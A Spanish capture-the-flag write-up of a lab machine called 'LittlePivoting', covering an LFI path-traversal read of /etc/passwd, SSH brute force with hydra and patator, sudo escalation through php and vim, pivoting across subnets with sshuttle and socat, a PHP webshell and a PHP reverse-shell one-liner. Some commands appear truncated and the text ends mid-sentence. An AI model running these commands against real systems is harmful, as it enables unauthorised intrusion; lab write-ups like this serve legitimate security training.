# LittlePivoting Este writeup documenta el proceso de explotación de una máquina en un entorno segmentado, \ donde se requiere pivoting para escalar privilegios y obtener acceso total. Utilizamos técnicas \ como sshuttle para tunelizar tráfico, socat para redirigir conexiones y vulnerabilidades en \ sudo para la escalada de privilegios. Desplegar: \ sudo ./auto\_deploy.sh inclusion.tar trust.tar upload.tar
nmap -p- -vvv -sS --min-rate 5000 -Pn 10.10.10.2 -oG scan
nmap -p22,80 -sCV 10.10.10.2 -oN ports
Encontramos los puertos 22 y 80 abiertos, lo que sugiere la presencia de SSH y un servidor \ web. Luego, profundizamos con whatweb y gobuster whatweb 10.10.10.2
gobuster dir -u -w /usr/share/seclists/Discovery/Web \ Content/directory-list-2.3-big.tx
Ingresando a:[ ](http://10.10.10.2/shop/) {% embed url="" %}
Este fragmento indica que la aplicación está utilizando el valor del parámetro \ archivo en el código sin una validación o sanitización adecuada.
En PHP, $\_GET\['archivo'] se usa para obtener el valor de una variable pasada en la URL a través del método GET .
Si el código PHP usa algo como include($\_GET\['archivo']); o file\_get\_contents($\_GET\['archivo'])
Entonces el valor de archivos. se insertará directamente en una operación de inclusión de archivos. \ Esto sugiere que podemos manipular este parámetro para forzar la carga de archivos \ arbitrarios, lo que lleva a una vulnerabilidad de Inclusión de Archivos Locales (LFI, Local \ File Inclusion). Al realizar ffuf con gobuster hacia el directorio /shop, el resultado es la existencia del archivo \ index.ph
Si la aplicación permite rutas arbitrarias en archivo , podemos intentar escapar del directorio de trabajo y acceder a archivos del sistema usando secuencias de "path traversal" (../) Sabemos que index.php está esperando un valor para el parámetro "archivo" , por lo que debemos estructurar la URL para enviarle una ruta específica. Si la aplicación permite rutas arbitrarias en "archivo" podemos intentar escapar del directorio \ de trabajo y acceder a archivos del sistema usando secuencias de "path traversal" Al dirigirnos a la url: 10.10.10.2/shop/index.php?archivo=../../../../../../../../../../etc/passwd
Se logró acceder y visualizar el contenido del archivo \ /etc/passwd confirmando la vulnerabilidad de Inclusión de Archivos Locales (LFI) en la aplicación. \ Donde pudimos ver el nombre de 2 usuarios, manchi y seller. \ Recordando que el primer host objetivo tenia el puerto 22 abierto, asique fui por la vieja \ confiable, fuerza bruta, imagino que haz de conocer **hydra**, pero hoy traigo una alternativa. Se llama **Patator**, no voy a hablar de ella, pero voy a dejarte la documentación para que la \ investigues, es una buena alternativa y funciona con muchos otros protocolos \ patator ssh\_login host=20.20.20.3 user=mario password=FILE0 \ 0=/usr/share/wordlists/rockyou.txt -x ignore:mesg='Authentication failed.'\`\`
hydra: \ hydra -l manchi -P /usr/share/wordlists/rockyou.txt -s 22 -f 10.10.10.2 ss
Haciendo uso de las credenciales, accedemos via Ssh:
Lo primero que pensé fue en ver si manchi tenia permisos para ejecutar sudo y asi escalar \ privilegios, pero no fue así.
Queda por intentar acceder a la cuenta de seller. Busque realizar fuerza bruta desde mi maquina pero con ninguna de las 2 tools logre tener \ exito. Con un poco de ayuda de chatgpt desarrolle un script para realizar BF de forma local, desde \ manchi hacia el usuario seller Para eso, transfiero el diccionario rockyou.txt y creo el script en la maquina victima.
Antes que nada, recordar darle permisos de ejecucion al scrip con:\ chmod +x nombredelarchivo.sh\ El archivo rockyou.txt se lo comparti mediante un server levantado con python. Sintaxis: ./brute-force.sh -u seller -w rockyou.txt
Mediante sudo -l veo que con php podría obtener escalación de privilegios.
Mirando en GTFOBins Logro así obtener la primer escalación de privilegios.
hostname -I reveló que la primera máquina víctima tenía asignada la IP \ 20.20.20.2 , además de 10.10.10.2 . Para analizar la conectividad, realicé un ping a 20.20.20.3 , confirmando que la máquina comprometida tenía acceso a otra red interna. Ahora, la cosa era, como acceder a esa red... Después de confirmar que la máquina comprometida ( 10.10.10.2 ) tiene acceso a la subred \ 20.20.20.0/24 , podemos utilizar sshuttle para redirigir nuestro tráfico a través de esta \ máquina y así interactuar con la red interna como si estuviéramos directamente conectados a \ ella. sshuttle -r manchi\@10.10.10.2 20.20.20.0/24 -x 10.10.10.1
Una vez ejecutado este comando, podemos interactuar con la red 20.20.20.0/24 como si estuviéramos conectados directamente a ella. Inicialmente, realicé un escaneo con Nmap para detectar puertos abiertos en el host \ 20.20.20.3 nmap -Pn -p- 20.20.20.3 Sin embargo, no obtuve ninguna respuesta de los 100 primeros puertos analizados, lo que \ podría indicar la presencia de un firewall o alguna configuración que bloquee los paquetes de \ escaneo. Dado que Nmap no mostró puertos abiertos, intenté verificar manualmente si había servicios en \ ejecución mediante curl: curl -I
El resultado arrojó un código de estado HTTP 200 (OK), lo que confirma que hay un servidor \ web activo en el host 20.20.20.3 , probablemente en el puerto 80 El encabezado de la respuesta indica que el servidor es Apache/2.4.57 en Debian, lo que \ sugiere un posible vector de explotación en caso de vulnerabilidades conocidas Después de identificar que el host 20.20.20.3 ejecuta un servidor web, procedí a realizar una \ enumeración de directorios y archivos utilizando Gobuster. Inicialmente, ejecuté el siguiente comando para buscar directorios accesibles: gobuster dir -u -w /usr/share/wordlists/dirbuster/directory \ list-2.3-medium.txt -t 50 -o gobuster.txt /server-status (Status: 403) \[Size: 275] Dado que no encontré directorios significativos, intenté una nueva búsqueda incluyendo \ extensiones de archivos comunes ( php , txt y py ) gobuster dir -u -w /usr/share/wordlists/dirbuster/directory \ list-2.3-medium.txt -t 50 -o gobuster.txt -x php,txt,py
Accediendo a /secret.php se logra ver un cartel dirigido a un usuario llamado "mario"
Con el cual prosegui a intentar realizar fuerza bruta, una vez mas, si.
Logrando así obtener la contraseña de ese tal mario, merecido el ser hackeado. Gracias al ataque de fuerza bruta realizado con Patator, obtuvimos credenciales válidas para \ el usuario mario en el sistema 20.20.20.3 . Además, la tunelización con sshuttle nos permitió enrutar nuestro tráfico hacia la red \ 20.20.20.0/24 , dándonos acceso al servicio SSH expuesto en el puerto por defecto
En esta ocasion tenemos permisos de ejecucion con vim: Del mismo modo que con php, verifique en GTFobins
Tras comprometer exitosamente la máquina 20.20.20.3 , logramos escalar privilegios hasta obtener acceso root, lo que nos permitió explorar su configuración de red y posibles conexiones con otras subredes En esta ocasion, hostname -I, nos dice que la nueva victima, es la ip 30.30.30.2, lo que nos indicó la presencia de una nueva subred: 30.30.30.0/24. Para comprobar si había algún servicio activo en la nueva red, intentamos un ping, nmap y \ luego un curl al posible objetivo 30.30.30.3 (desde el acceso ssh de la maquina 20.20.20.3) curl -I El servidor respondió con un HTTP 200 OK, confirmando la presencia de un servicio web en el \ puerto 80 Redirigiendo el tráfico con sshuttle Como nuestra máquina atacante no tenía acceso directo a la red \ sshuttle para tunelizar el tráfico a través de 20.20.20.3 : **sshuttle -r mario\@20.20.20.3 30.30.30.0/24 --dns #(Desde maquina atacante)** **-r mario\@20.20.20.3** → Se conecta a 20.20.20.3 como el usuario mario.\ **30.30.30.0/24** **→** Red que queremos enrutar a través del túnel. **--dns →** Permite que las consultas DNS también pasen por el túnel, útil en caso de nombres \ internos. Una vez establecida la tunelización, pudimos interactuar con 30.30.30.3 directamente desde \ nuestra máquina atacante, permitiéndonos continuar con la exploración y explotación de esta \ nueva máquina objetivo
Ya podemos ver y confirmar la web que nos devolvio el codigo 200 ok, desde nuestra maquina atacante, la 10.10.10.1
Lo cual aproveche para subir una webshell que me permitiera ejecutar comandos en el servidor, navegar por los directorios y explorar posibles vectores de escalación de privilegios.
Con acceso a 30.30.30.3 mediante una webshell en PHP, necesitamos reenviar una reverse \ shell a 10.10.10.1 . Dado que las redes están segmentadas, configuramos túneles con socat Desde nuestra máquina atacante ( 10.10.10.1 ), copiamos el binario de socat a 10.10.10.2 , donde tenemos acceso SSH con el usuario manchi scp /socat manchi\@10.10.10.2:/home/manchi/socat
20.20.20.3 - 30.30.30.2 Despues a la segunda maquina que usaremos de pivoting Desde 10.10.10.2 , realizamos la transferencia a 20.20.20.3 , donde tenemos acceso con el usuario mario
php -r '$sock=fsockopen("30.30.30.2",4431); if($sock){ exec("/bin/sh -i <&3 &3 2>&3"); } else { echo "No connection"; }' Esto permite que la reverse shell viaje hasta 10.10.10.1 .
Escalada de Privilegios Verificamos permisos con sudo -l y encontramos que /usr/bin/env sin contraseña: www-data puede ejecuta